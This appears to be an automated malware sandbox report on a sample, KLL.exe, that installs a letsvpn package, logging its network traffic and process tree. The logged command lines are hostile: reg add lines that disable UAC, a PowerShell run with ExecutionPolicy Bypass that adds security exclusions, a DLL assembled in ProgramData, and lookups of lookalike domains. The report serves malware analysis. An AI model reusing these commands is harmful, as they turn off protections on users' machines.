Jul 20, 2024 16:14:11.075567961 CEST	166	IN	HTTP/1.1 101 Switching Protocols Date: Sat, 20 Jul 2024 14:14:10 GMT Connection: upgrade Upgrade: websocket Sec-WebSocket-Accept: af1Hn9gJO4mCKDbv05JI5OAGYeU=
Jul 20, 2024 16:14:11.775890112 CEST	242	IN	Data Raw: 81 7e 00 92 7b 22 65 76 65 6e 74 22 3a 22 70 75 73 68 65 72 3a 65 72 72 6f 72 22 2c 22 64 61 74 61 22 3a 7b 22 63 6f 64 65 22 3a 34 30 30 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 70 70 20 6b 65 79 20 34 66 63 34 33 36 65 66 33 36 66 34 30 32 36 Data Ascii: ~{"event":"pusher:error","data":{"code":4001,"message":"App key 4fc436ef36f4026102d7 not in this cluster. Did you forget to specify the cluster?"}}ZApp key 4fc436ef36f4026102d7 not in this cluster. Did you forget to specify the cluster?
Jul 20, 2024 16:14:11.879228115 CEST	8	OUT	Data Raw: 88 82 54 4c 5e 4a 57 a4 Data Ascii: TL^JW

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49726	18.239.15.44	443	6568	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-20 14:14:13 UTC	180	OUT	GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nal.fqoqehwib.com.&type=1 HTTP/1.1 Host: d1dmgcawtbm6l9.cloudfront.net User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-07-20 14:14:14 UTC	676	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx/1.16.0 Date: Sat, 20 Jul 2024 14:14:13 GMT X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Expires: Sat, 20 Jul 2024 14:14:13 GMT Cache-Control: private, max-age=3 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Accept-Ranges: none Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 c2905f891f96a0ec9c7fab16916dbb46.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P6 X-Amz-Cf-Id: jhcTTlL840JUVad8opLeeSRc-oPxsPdLVn_xz84ocGv_zU4G1-I1qQ==
2024-07-20 14:14:14 UTC	518	IN	Data Raw: 31 66 66 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 61 6c 2e 66 71 6f 71 65 68 77 69 62 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 61 6c 2e 66 71 6f 71 65 68 77 69 62 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 33 2c 22 64 61 74 61 22 3a 22 31 30 34 2e 31 31 32 2e 31 37 32 2e 32 34 35 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 6e 61 6c 2e 66 71 6f 71 65 68 77 69 62 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 33 2c 22 64 61 74 61 Data Ascii: 1ff{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"nal.fqoqehwib.com.","type":1}],"Answer":[{"name":"nal.fqoqehwib.com.","type":1,"TTL":3,"data":"104.112.172.245"},{"name":"nal.fqoqehwib.com.","type":1,"TTL":3,"data
2024-07-20 14:14:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49725	18.239.15.44	443	6568	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-20 14:14:13 UTC	183	OUT	GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=chr.alipayassets.com.&type=1 HTTP/1.1 Host: d1dmgcawtbm6l9.cloudfront.net User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-07-20 14:14:14 UTC	676	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx/1.16.0 Date: Sat, 20 Jul 2024 14:14:13 GMT X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Expires: Sat, 20 Jul 2024 14:14:13 GMT Cache-Control: private, max-age=3 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Accept-Ranges: none Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 6c60742ba67aa10b881e511aba8e470a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P6 X-Amz-Cf-Id: ZnvCUEnVIS9VxIRuYSxUrLWFvktUpyEZw3Hje7JBjS2gMGa9ZzgsUw==
2024-07-20 14:14:14 UTC	390	IN	Data Raw: 31 37 66 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 63 68 72 2e 61 6c 69 70 61 79 61 73 73 65 74 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 63 68 72 2e 61 6c 69 70 61 79 61 73 73 65 74 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 33 2c 22 64 61 74 61 22 3a 22 38 35 2e 32 32 32 2e 37 39 2e 35 37 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 63 68 72 2e 61 6c 69 70 61 79 61 73 73 65 74 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 33 Data Ascii: 17f{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"chr.alipayassets.com.","type":1}],"Answer":[{"name":"chr.alipayassets.com.","type":1,"TTL":3,"data":"85.222.79.57"},{"name":"chr.alipayassets.com.","type":1,"TTL":3
2024-07-20 14:14:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49727	18.239.15.44	443	6568	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-20 14:14:13 UTC	182	OUT	GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1 Host: d1dmgcawtbm6l9.cloudfront.net User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-07-20 14:14:14 UTC	676	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx/1.16.0 Date: Sat, 20 Jul 2024 14:14:13 GMT X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Expires: Sat, 20 Jul 2024 14:14:13 GMT Cache-Control: private, max-age=6 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Accept-Ranges: none Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 45f8047ab98fa87807d2f5362a7fb75c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P6 X-Amz-Cf-Id: YQD0-_RQuQcwPgs6iYoXeEXb5KMMj25_b67Nk8eLrZJJpItJw9Y2eA==
2024-07-20 14:14:14 UTC	458	IN	Data Raw: 31 63 33 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 36 2c 22 64 61 74 61 22 3a 22 32 32 33 2e 36 31 2e 37 30 2e 35 32 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 36 2c 22 64 Data Ascii: 1c3{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"nit.crash1ytics.com.","type":1}],"Answer":[{"name":"nit.crash1ytics.com.","type":1,"TTL":6,"data":"223.61.70.52"},{"name":"nit.crash1ytics.com.","type":1,"TTL":6,"d
2024-07-20 14:14:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49746	18.239.15.44	443	6568	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-20 14:14:33 UTC	182	OUT	GET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1 Host: d1dmgcawtbm6l9.cloudfront.net User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-07-20 14:14:33 UTC	676	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx/1.16.0 Date: Sat, 20 Jul 2024 14:14:33 GMT Accept-Ranges: none X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Expires: Sat, 20 Jul 2024 14:14:33 GMT Cache-Control: private, max-age=2 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 428178e04c8c5f5460c3935b1e7203be.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P6 X-Amz-Cf-Id: i4cR4gixFiSBIVuW40P1aRJ-6xtB6n03Xufov1BLVrxKPxjxBEc_dQ==
2024-07-20 14:14:33 UTC	458	IN	Data Raw: 31 63 33 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 32 2c 22 64 61 74 61 22 3a 22 31 39 2e 38 38 2e 31 36 2e 32 35 31 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 32 2c 22 64 Data Ascii: 1c3{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"nit.crash1ytics.com.","type":1}],"Answer":[{"name":"nit.crash1ytics.com.","type":1,"TTL":2,"data":"19.88.16.251"},{"name":"nit.crash1ytics.com.","type":1,"TTL":2,"d
2024-07-20 14:14:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:13:24
Start date:	20/07/2024
Path:	C:\Users\user\Desktop\KLL.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\KLL.exe"
Imagebase:	0x7ff7001e0000
File size:	32'259'584 bytes
MD5 hash:	5FFEBAAB4F8218B7ABFF3A8258DBF316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:13:26
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ipconfig /all
Imagebase:	0x7ff7e5f50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:13:26
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:13:26
Start date:	20/07/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff786f90000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:13:26
Start date:	20/07/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\netsh.exe" -f C:\ProgramData\7gW9F.xml
Imagebase:	0x7ff6eb660000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:13:27
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:13:27
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\B7508.bat"
Imagebase:	0x7ff7e5f50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:13:27
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:13:27
Start date:	20/07/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F
Imagebase:	0x7ff693070000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:13:27
Start date:	20/07/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F
Imagebase:	0x7ff693070000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:13:27
Start date:	20/07/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F
Imagebase:	0x7ff693070000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:13:27
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:13:29
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\8R96N\35Hrm~m8\s+C:\ProgramData\8R96N\35Hrm~m8\a C:\ProgramData\8R96N\35Hrm~m8\uc_guilib.dll
Imagebase:	0x7ff7e5f50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:13:29
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:13:31
Start date:	20/07/2024
Path:	C:\Windows\System32\mmc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\mmc.exe -Embedding
Imagebase:	0x7ff6b9340000
File size:	1'953'280 bytes
MD5 hash:	58C9E5172C3708A6971CA0CBC80FE8B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	10:13:32
Start date:	20/07/2024
Path:	C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe"
Imagebase:	0xb30000
File size:	99'904 bytes
MD5 hash:	8AA07B7C6C632F4EDF07A0E2B91F8566
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	10:13:33
Start date:	20/07/2024
Path:	C:\Windows\System32\mmc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\mmc.exe -Embedding
Imagebase:	0x7ff6b9340000
File size:	1'953'280 bytes
MD5 hash:	58C9E5172C3708A6971CA0CBC80FE8B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	10:13:33
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ipconfig /all
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:13:33
Start date:	20/07/2024
Path:	C:\ProgramData\letsvpn-latest.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\letsvpn-latest.exe"
Imagebase:	0x400000
File size:	15'382'056 bytes
MD5 hash:	7CE62DC191CEE9DD1488C9D0A25FEDA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:13:33
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:13:34
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /all
Imagebase:	0x70000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:13:34
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
Imagebase:	0x5a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:13:34
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:13:47
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
Imagebase:	0x5a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:13:47
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:13:47
Start date:	20/07/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Imagebase:	0x7ff669820000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:13:51
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
Imagebase:	0x7ff78e4d0000
File size:	101'536 bytes
MD5 hash:	1E3CF83B17891AEE98C3E30012F0B034
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:13:51
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:13:51
Start date:	20/07/2024
Path:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
Imagebase:	0x7ff78e4d0000
File size:	101'536 bytes
MD5 hash:	1E3CF83B17891AEE98C3E30012F0B034
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:13:51
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:13:52
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:13:53
Start date:	20/07/2024
Path:	C:\Windows\System32\drvinst.exe
Wow64 process (32bit):	false
Commandline:	DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "000000000000014C" "208" "c:\program files (x86)\letsvpn\driver"
Imagebase:	0x7ff6cc770000
File size:	337'920 bytes
MD5 hash:	294990C88B9D1FE0A54A1FA8BF4324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:13:54
Start date:	20/07/2024
Path:	C:\Windows\System32\drvinst.exe
Wow64 process (32bit):	false
Commandline:	DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000184"
Imagebase:	0x7ff6cc770000
File size:	337'920 bytes
MD5 hash:	294990C88B9D1FE0A54A1FA8BF4324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:13:55
Start date:	20/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:13:56
Start date:	20/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c netsh advfirewall firewall Delete rule name=lets
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:13:56
